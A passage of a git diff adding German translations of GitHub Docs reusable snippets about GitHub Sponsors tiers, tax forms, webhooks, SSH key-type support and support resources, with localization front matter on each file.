+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067564"
+---
+Du kannst allen Sponsoren auf einer Ebene Zugriff auf ein privates Repository erteilen, indem du das Repository der Ebene hinzufügst.
diff --git a/translations/de-DE/data/reusables/sponsors/sponsors-updates-tab.md b/translations/de-DE/data/reusables/sponsors/sponsors-updates-tab.md
new file mode 100644
index 0000000000..656888b66b
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/sponsors-updates-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 9af403571c6c8ec5912b931d090b18a8db22b47f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145067556"
+---
+3. Klicke in der linken Seitenleiste auf **Updates**.
+  ![Registerkarte „Updates“](/assets/images/help/sponsors/updates-tab.png)
diff --git a/translations/de-DE/data/reusables/sponsors/sponsorship-dashboard.md b/translations/de-DE/data/reusables/sponsors/sponsorship-dashboard.md
new file mode 100644
index 0000000000..72f4830cb9
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/sponsorship-dashboard.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 9f62baf2d7109144ce8827f30a5aefd324b64047
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067548"
+---
+1. Navigiere zum Dashboard für die finanzielle Unterstützung des Kontos.
+   - Wenn du ein persönliches Konto sponserst, klicke unter dem Namen des Benutzers auf **Sponsoring**.
+     ![Schaltfläche „Sponsoring“](/assets/images/help/profile/sponsoring-button.png)
+   -  Wenn du eine Organisation sponserst, klicke rechts neben dem Namen der Organisation auf **Sponsoring**.
+     ![Schaltfläche „Sponsoring“](/assets/images/help/sponsors/org-sponsoring-button.png)
+1. Wenn du ein Sponsoring im Namen einer Organisation verwalten möchtest, kannst du rechts auf der Seite im Dropdownmenü **Sponsoring** auf die Organisation klicken.
+    ![Dropdownmenü zum Auswählen des Kontos, das du sponserst](/assets/images/help/sponsors/sponsoring-as-drop-down-menu.png)
diff --git a/translations/de-DE/data/reusables/sponsors/sponsorship-details.md b/translations/de-DE/data/reusables/sponsors/sponsorship-details.md
new file mode 100644
index 0000000000..63726791ab
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/sponsorship-details.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 698c4f4857f43049dac7d91c4f0b355acb5d2c79
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145067540"
+---
+Du kannst beliebige Personen mit einem gesponserten Entwickler- oder Organisationsprofil im Namen deines persönlichen Kontos oder im Namen einer Organisation sponsern. Du kannst aus mehreren Sponsoringstufen mit einmaligen oder monatlichen Zahlungsbeträgen und Vorteilen wählen, die vom gesponserten Konto festgelegt werden. Dein Sponsoring wird das bestehende Rechnungsdatum, die Zahlungsmethode und die Bescheinigung deines Kontos teilen.
diff --git a/translations/de-DE/data/reusables/sponsors/sponsorships-not-tax-deductible.md b/translations/de-DE/data/reusables/sponsors/sponsorships-not-tax-deductible.md
new file mode 100644
index 0000000000..fc8854a7df
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/sponsorships-not-tax-deductible.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 48f18c41b5467c9e8cff0d06ea5afb79e7f2820e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066387"
+---
+Sponsoring ist in der Regel nicht steuerlich absetzbar, kann es aber in einigen Fällen sein. Es liegt in der Verantwortung des unterstützten Open-Source-Mitwirkenden– nicht von {% data variables.product.prodname_dotcom %}— die Sponsoren darüber zu informieren, ob die Sponsorenbeiträge an eine steuerbefreite Einrichtung (Beispiel USA: 501(c)(3) Title 26 USC) geleistet werden und somit steuerlich absetzbar sein könnten.
diff --git a/translations/de-DE/data/reusables/sponsors/stripe-supported-regions.md b/translations/de-DE/data/reusables/sponsors/stripe-supported-regions.md
new file mode 100644
index 0000000000..586f46e027
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/stripe-supported-regions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 84c3d95574f75287296867936b0b03ad6b491dab
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145066382"
+---
+Eine Liste der unterstützten Regionen findest du unter [{% data variables.product.prodname_sponsors %}](https://github.com/sponsors#regions).
diff --git a/translations/de-DE/data/reusables/sponsors/tax-form-information-dev.md b/translations/de-DE/data/reusables/sponsors/tax-form-information-dev.md
new file mode 100644
index 0000000000..342165d17c
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/tax-form-information-dev.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 55e7ece665d5441bb4b8e8653dc6f009f70f39ee
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881397"
+---
+Für weitere Informationen über die Steuerformulare, die Du ausfüllen musst, lies die folgenden Anweisungen auf der Website des 'United States Internal Revenue Service' (Amerikanische Steuerbehörde).
+
+- [Anleitung zum Formular W-9](https://www.irs.gov/pub/irs-pdf/iw9.pdf) für US-Bürger
+- [Anleitung zum Formular W-8BEN](https://www.irs.gov/pub/irs-pdf/iw8ben.pdf) für Nicht-US-Bürger
diff --git a/translations/de-DE/data/reusables/sponsors/tax-form-information-org.md b/translations/de-DE/data/reusables/sponsors/tax-form-information-org.md
new file mode 100644
index 0000000000..6571dbef14
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/tax-form-information-org.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1a0e07dca63a78dfe6445acd008d345b3018777c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145066371"
+---
+Weitere Informationen über das Steuerformular, das von Organisationen ausgefüllt werden muss, siehe [Instructions for Form W-8BEN-E](https://www.irs.gov/pub/irs-pdf/iw8bene.pdf) (Anleitung für Formular W-8BEN-E) auf der Website des United States Internal Revenue Service (Steuerbehörde der USA).
diff --git a/translations/de-DE/data/reusables/sponsors/tax-form-link.md b/translations/de-DE/data/reusables/sponsors/tax-form-link.md
new file mode 100644
index 0000000000..9481e49b63
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/tax-form-link.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 7f6a094f716025d476b71ac761ce418f31e080ac
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147887905"
+---
+1. Klicke auf **Steuerformulare**.
+    ![Link zum Ausfüllen des Steuerformulars](/assets/images/help/sponsors/tax-form-link.png)
+2. Vervollständige und unterschreibe das Steuerformular und reiche es ein.
diff --git a/translations/de-DE/data/reusables/sponsors/tier-details.md b/translations/de-DE/data/reusables/sponsors/tier-details.md
new file mode 100644
index 0000000000..9d94afa011
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/tier-details.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: b2f91982841899ea65993a71edec22ee264e1aad
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066363"
+---
+Du kannst bis zu 10 einmalige Sponsorenebenen und 10 monatliche Ebenen für Sponsoren erstellen, aus denen du auswählen kannst. Jede Ebene verfügt über einen eigenen einmaligen oder monatlichen Zahlungsbetrag in US-Dollar und du kannst die Ebenen für benutzerdefinierte Beträge aktivieren. Darüber hinaus kannst du die Ebenen für benutzerdefinierte Beträge (monatlich und einmal) aktivieren.
+
+Du kannst die Belohnungen für jede Ebene anpassen. Beispielsweise könnten Belohnungen für eine Ebene folgendes umfassen:
+- Frühzeitiger Zugriff auf neue Versionen 
+- Logo oder Name in der INFODATEI
+- Wöchentliche Newsletter-Updates
+- Andere Belohnungen, die deine Sponsoren genießen würden ✨ 
+
+{% data reusables.sponsors.sponsors-only-repos %} Weitere Informationen findest du unter „[Hinzufügen eines Repositorys zu einer Sponsorenebene](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers#adding-a-repository-to-a-sponsorship-tier)".
+
+Du kannst eine Willkommensnachricht mit Informationen zum Zugriff oder Empfangen von Belohnungen einschließen, die nach der Zahlung und in der Willkommens-E-Mail sichtbar sind.
+
+Nachdem du eine Ebene veröffentlicht hast, kannst du den Preis dieser Ebene nicht bearbeiten. Stattdessen musst du die Stufe zurückziehen und einen neue Stufe erstellen. Bestehende Sponsoren bleiben auf der auslaufenden Ebene, bis sie ihre Sponsorenebene ändern oder ihr Sponsoring kündigen.
diff --git a/translations/de-DE/data/reusables/sponsors/tier-price-description.md b/translations/de-DE/data/reusables/sponsors/tier-price-description.md
new file mode 100644
index 0000000000..3c64fdf02d
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/tier-price-description.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a2572466cec137252209ec64e5e3cf62d60b8ed9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145066359"
+---
+1. Gib einen monatlichen Preis und eine Beschreibung für die Stufe ein.
+  ![Textfelder für Preis pro Stufe und Beschreibung](/assets/images/help/sponsors/tier-price-description.png)
diff --git a/translations/de-DE/data/reusables/sponsors/tier-update.md b/translations/de-DE/data/reusables/sponsors/tier-update.md
new file mode 100644
index 0000000000..8aee19574c
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/tier-update.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: fc0426980cfcf4c249d5dccb73b3b271fc8c19a3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066358"
+---
+6. Überprüfe deine Ebene, und klicke dann auf **Aktualisieren**.
+  ![Schaltfläche „Ebene aktualisieren“](/assets/images/help/sponsors/update-tier-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/update-sponsorship.md b/translations/de-DE/data/reusables/sponsors/update-sponsorship.md
new file mode 100644
index 0000000000..6c9a0d8191
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/update-sponsorship.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: e06dd03ee80e511ac9f1b10006126f31b87a5e5d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066355"
+---
+1. Klicke auf **Sponsoring aktualisieren**.
+  ![Schaltfläche „Sponsoring aktualisieren“](/assets/images/help/sponsors/update-sponsorship-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/view-eligible-accounts.md b/translations/de-DE/data/reusables/sponsors/view-eligible-accounts.md
new file mode 100644
index 0000000000..f935c9c871
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/view-eligible-accounts.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8d7290b7e8b54ee26a36296bd8bb9cbdecdaeb59
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068841"
+---
+1. Klicke auf **Berechtigte Konten anzeigen**.
+   ![Schaltfläche „Berechtigte Konten anzeigen“](/assets/images/help/sponsors/view-eligible-accounts.png)
diff --git a/translations/de-DE/data/reusables/sponsors/webhook-content-formatting.md b/translations/de-DE/data/reusables/sponsors/webhook-content-formatting.md
new file mode 100644
index 0000000000..4919ff11fb
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/webhook-content-formatting.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8a276d3f7dbc9c9d9b5d4e0de3abdd4a2abb01df
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145066351"
+---
+4. Wähle unter „Content type" (Inhaltstyp), welches Datenformat Du erhalten möchtest. Weitere Informationen findest du unter [Erstellen von Webhooks](/webhooks/creating/#content-type). ![Menü für die Webhookformatierung](/assets/images/help/sponsors/webhook-content-menu.png)
diff --git a/translations/de-DE/data/reusables/sponsors/webhook-secret-token.md b/translations/de-DE/data/reusables/sponsors/webhook-secret-token.md
new file mode 100644
index 0000000000..d4cc9db0c1
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/webhook-secret-token.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0b8c0f5e111220a1281def4d8c9d6e394722dd4b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145066350"
+---
+5. Gib ein geheimes Token ein. Weitere Informationen findest du unter [Sichern deiner Webhooks](/webhooks/securing/#securing-your-secret-token).
+  ![Felder für das geheime Token und andere Anpassungsoptionen](/assets/images/help/sponsors/webhook-secret-token.png)
diff --git a/translations/de-DE/data/reusables/sponsors/who-can-see-your-sponsorship.md b/translations/de-DE/data/reusables/sponsors/who-can-see-your-sponsorship.md
new file mode 100644
index 0000000000..23565b4207
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/who-can-see-your-sponsorship.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 320529aeca740a085f062549fdd68cb782b30590
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134021"
+---
+1. Lege fest, wer Dein Sponsoring sehen darf.
diff --git a/translations/de-DE/data/reusables/sponsors/write-sponsor-update.md b/translations/de-DE/data/reusables/sponsors/write-sponsor-update.md
new file mode 100644
index 0000000000..73ca3e45b8
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/write-sponsor-update.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: dfb1f9bc02d85723d870be233f61114864d8d22b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145068838"
+---
+6. Gib einen Betreff und einen Text für die Aktualisierung ein.
+  ![Felder „Betreff“ und „Text“](/assets/images/help/sponsors/subject-body-update.png)
diff --git a/translations/de-DE/data/reusables/sponsors/you-can-be-a-sponsored-developer.md b/translations/de-DE/data/reusables/sponsors/you-can-be-a-sponsored-developer.md
new file mode 100644
index 0000000000..f1919c4d82
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/you-can-be-a-sponsored-developer.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 37322983fd7090615ab345d87de526a5463a84c3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145066346"
+---
+Jeder, der an einem Open-Source-Projekt mitwirkt und ein Bankkonto in einer unterstützten Region hat, kann ein „unterstützter Entwickler" werden. Zu Beiträgen zählen beispielsweise Fehlerberichte, Issue-Triage, Code, Dokumentationen, Leitung, Geschäftsentwicklung, Projektverwaltung, Mentoring und Design. Wenn Du in einer Region lebst, die noch nicht von {% data variables.product.prodname_sponsors %} unterstützt ist, kannst Du Dich in die Warteliste eintragen, um an der Beta-Version von {% data variables.product.prodname_sponsors %} teilzunehmen.
diff --git a/translations/de-DE/data/reusables/sponsors/you-can-be-a-sponsored-organization.md b/translations/de-DE/data/reusables/sponsors/you-can-be-a-sponsored-organization.md
new file mode 100644
index 0000000000..9cd5175702
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/you-can-be-a-sponsored-organization.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 22ad119d4e9f3988f0675aa2ec4cfec28669fd4c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134018"
+---
+Jede Organisation, die an einem Open-Source-Projekt mitwirkt und rechtmäßig in einer unterstützten Region tätig ist, darf als Organisation gesponsert werden. Wenn deine Organisation in einer Region tätig ist, die noch nicht von {% data variables.product.prodname_sponsors %} unterstützt wird, lasse dich unter [{% data variables.product.prodname_sponsors %}](https://github.com/sponsors) in die Warteliste aufnehmen.
diff --git a/translations/de-DE/data/reusables/sponsors/your-sponsors-tab.md b/translations/de-DE/data/reusables/sponsors/your-sponsors-tab.md
new file mode 100644
index 0000000000..66ebbd3667
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/your-sponsors-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: cfd6d7e61c913bea5fbdab2d22c360b1f0c6f847
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068835"
+---
+1. Klicke auf der linken Randleiste auf **Deine Sponsoren**.
+  ![Registerkarte „Deine Sponsoren“](/assets/images/help/sponsors/your-sponsors-tab.png)
diff --git a/translations/de-DE/data/reusables/ssh/about-ssh.md b/translations/de-DE/data/reusables/ssh/about-ssh.md
new file mode 100644
index 0000000000..95040d6fd3
--- /dev/null
+++ b/translations/de-DE/data/reusables/ssh/about-ssh.md
@@ -0,0 +1 @@
+You can access and write data in repositories on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} using SSH (Secure Shell Protocol). When you connect via SSH, you authenticate using a private key file on your local machine.
diff --git a/translations/de-DE/data/reusables/ssh/add-ssh-key-to-ssh-agent.md b/translations/de-DE/data/reusables/ssh/add-ssh-key-to-ssh-agent.md
new file mode 100644
index 0000000000..506ef480ae
--- /dev/null
+++ b/translations/de-DE/data/reusables/ssh/add-ssh-key-to-ssh-agent.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b775e632eb149afb7c5c566cb3634c0f6d45ade6
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068832"
+---
+Wenn du deinen Schlüssel unter einem anderen Namen erstellt hast oder einen vorhandenen Schlüssel hinzufügst, der einen anderen Namen aufweist, ersetze *id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}* im Befehl durch den Namen der Datei deines privaten Schlüssels.
diff --git a/translations/de-DE/data/reusables/ssh/key-type-support.md b/translations/de-DE/data/reusables/ssh/key-type-support.md
new file mode 100644
index 0000000000..2c2295e0ba
--- /dev/null
+++ b/translations/de-DE/data/reusables/ssh/key-type-support.md
@@ -0,0 +1,28 @@
+{% ifversion fpt or ghec %}
+{% note %}
+
+**Note:** {% data variables.product.company_short %} improved security by dropping older, insecure key types on March 15, 2022.
+
+As of that date, DSA keys (`ssh-dss`) are no longer supported. You cannot add new DSA keys to your personal account on {% data variables.location.product_location %}.
+
+RSA keys (`ssh-rsa`) with a `valid_after` before November 2, 2021 may continue to use any signature algorithm. RSA keys generated after that date must use a SHA-2 signature algorithm. Some older clients may need to be upgraded in order to use SHA-2 signatures.
+
+{% endnote %}
+
+{% elsif ghes = 3.6 or ghes = 3.7 or ghes = 3.8 %}
+
+{% note %}
+
+**Note**: By default with {% data variables.product.product_name %} 3.6 and later, as of the cutoff date of midnight UTC on August 1, 2022, SSH connections that satisfy **both** of the following conditions will fail.
+
+<br/>
+
+{% data reusables.ssh.rsa-sha-1-connection-failure-criteria %}
+
+{% data variables.product.product_name %} 3.6 and later also does not support SSH connections that use DSA, HMAC-SHA-1, or CBC ciphers. RSA SSH keys uploaded before the cutoff date can continue to authenticate using the SHA-1 hash function as long as the key remains valid. For more information about finding the version of {% data variables.product.product_name %} that you use, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs#github-enterprise-server)."
+
+Your site administrator can adjust the cutoff date for connections using RSA-SHA-1, and may block all connections using RSA-SHA-1. For more information, contact your site administrator or see "[Configuring SSH connections to your instance](/admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance)."
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/ssh/rsa-sha-1-connection-failure-criteria.md b/translations/de-DE/data/reusables/ssh/rsa-sha-1-connection-failure-criteria.md
new file mode 100644
index 0000000000..b08eeab7b8
--- /dev/null
+++ b/translations/de-DE/data/reusables/ssh/rsa-sha-1-connection-failure-criteria.md
@@ -0,0 +1,2 @@
+- The RSA key was added to a user account on {% data variables.location.product_location %} after the cutoff date of midnight UTC on August 1, 2022.
+- The SSH client signs the connection attempt with the SHA-1 hash function.
diff --git a/translations/de-DE/data/reusables/stars/stars-page-navigation.md b/translations/de-DE/data/reusables/stars/stars-page-navigation.md
new file mode 100644
index 0000000000..f503c7560b
--- /dev/null
+++ b/translations/de-DE/data/reusables/stars/stars-page-navigation.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8e0f059cbda0d20f2a343a6ca7c0e482de70af75
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145068829"
+---
+1. Klicke in der oberen rechten Ecke einer beliebigen Seite auf dein Profilfoto und anschließend auf **Deine Sterne**. 
+  ![Screenshot der Sternoption in einem Dropdownmenü](/assets/images/help/stars/navigate-to-stars-page.png)
diff --git a/translations/de-DE/data/reusables/support/ask-and-answer-forum.md b/translations/de-DE/data/reusables/support/ask-and-answer-forum.md
new file mode 100644
index 0000000000..50e3a78289
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/ask-and-answer-forum.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 87f01fc432fa7b55c4fc8a9780d2aad80332b49c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066338"
+---
+Du kannst mit Entwicklern auf der ganzen Welt in Verbindung treten, um Fragen zu stellen und zu beantworten, zu lernen und direkt mit {% data variables.product.product_name %}-Mitarbeitern zu interagieren. Informationen zum Starten der Unterhaltung findest du unter [{% data variables.product.prodname_gcf %}](https://github.community).
diff --git a/translations/de-DE/data/reusables/support/connect-in-the-forum-bootcamp.md b/translations/de-DE/data/reusables/support/connect-in-the-forum-bootcamp.md
new file mode 100644
index 0000000000..111008a644
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/connect-in-the-forum-bootcamp.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 468b8a157e7490ae7be4c42b5da0331ea5595041
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876846"
+---
+{% data variables.product.prodname_dotcom %} verfügt über eine großartige Supportcommunity, in der du um Hilfe bitten und mit Menschen aus der ganzen Welt sprechen kannst. Nimm an der Unterhaltung auf [{% data variables.product.prodname_github_community %}](https://github.com/orgs/community/discussions) teil.
diff --git a/translations/de-DE/data/reusables/support/data-protection-and-privacy.md b/translations/de-DE/data/reusables/support/data-protection-and-privacy.md
new file mode 100644
index 0000000000..80b7c1893a
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/data-protection-and-privacy.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c4ab6a9deea7bf6596f968de26f996392e3d689a
+ms.sourcegitcommit: 2ecb6ba7d01b2bc9a44ad74a5953b98413216051
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/15/2022
+ms.locfileid: "148165361"
+---
+Wenn du Supportangebote von {% data variables.product.prodname_dotcom %} verwendest, gelten die Bedingungen deiner Vereinbarung, die [GitHub-Datenschutzbestimmungen](/free-pro-team@latest/github/site-policy/github-privacy-statement) und die [GitHub-Datenschutzvereinbarung](/free-pro-team@latest/github/site-policy/github-data-protection-agreement). Mit „Vereinbarung“ beziehen wir uns auf deine Hauptvereinbarung mit uns – d. h. die [GitHub-Unternehmensvertragsbedingungen](/free-pro-team@latest/github/site-policy/github-corporate-terms-of-service), den [GitHub-Kundenvertrag](https://github.com/customer-terms) oder deine [Microsoft-Volumenlizenzvereinbarung](/free-pro-team@latest/github/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing).
diff --git a/translations/de-DE/data/reusables/support/enterprise-resolving-and-closing-tickets.md b/translations/de-DE/data/reusables/support/enterprise-resolving-and-closing-tickets.md
new file mode 100644
index 0000000000..86b1a41c0b
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/enterprise-resolving-and-closing-tickets.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: eaad0d11cd3a86394c0ec4e547ed63dbcac7483f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145068823"
+---
+{% data variables.contact.enterprise_support %} kann ein Ticket als gelöst betrachten, wenn es eine Erklärung, eine Empfehlung, eine Gebrauchsanweisung, {% ifversion ghae %}oder {% endif %} eine Anleitung zur Umgehung des Problems{% ifversion ghes %} enthält oder wenn es dich auf eine verfügbare Version hinweist, die das Problem behebt{% endif %}.
+
+{% ifversion ghes or ghae %} Wenn du zusätzliche Software von Drittanbietern installiert oder Änderungen vorgenommen hast, kannst du {% data variables.product.product_name %} außerhalb der Empfehlungen von {% data variables.contact.enterprise_support %}{% data variables.contact.enterprise_support %} bitten, die Software und/oder Änderungen zu entfernen, während du versuchst, das Problem zu beheben. Wenn das Problem behoben ist, nachdem die nicht unterstützte Software oder Änderungen entfernt wurden, kann {% data variables.contact.enterprise_support %} das Ticket als gelöst betrachten.
+{% endif %}
+
+{% data variables.contact.enterprise_support %} schließt ein Ticket möglicherweise, wenn es nicht in den Zuständigkeitsbereich des Supports fällt oder wenn mehrere Versuche, dich zu kontaktieren, unbeantwortet geblieben sind. Wenn {% data variables.contact.enterprise_support %} ein Ticket aufgrund fehlender Antwort schließt, kannst du verlangen, dass {% data variables.contact.enterprise_support %} das Ticket erneut öffnet.
diff --git a/translations/de-DE/data/reusables/support/entitlements-note.md b/translations/de-DE/data/reusables/support/entitlements-note.md
new file mode 100644
index 0000000000..d938fb946f
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/entitlements-note.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 35ed9fffb50a66b6867f71bf0e7e579284b9ee5d
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109385"
+---
+{% note %}
+
+**Hinweis:** Du musst über eine Unternehmenssupportberechtigung verfügen, um Tickets anzuzeigen, die einem Organisations- oder Unternehmenskonto zugeordnet sind. Weitere Informationen findest du unter [Verwalten von Supportberechtigungen für dein Unternehmen](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise).
+
+{% endnote %}  
diff --git a/translations/de-DE/data/reusables/support/free-and-paid-support.md b/translations/de-DE/data/reusables/support/free-and-paid-support.md
new file mode 100644
index 0000000000..33b37f3d8c
--- /dev/null
+++ b/translations/de-DE/data/reusables/support/free-and-paid-support.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d93ef0b1865694f935a8c4dff985e19d6f82cded
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145066334"
+---
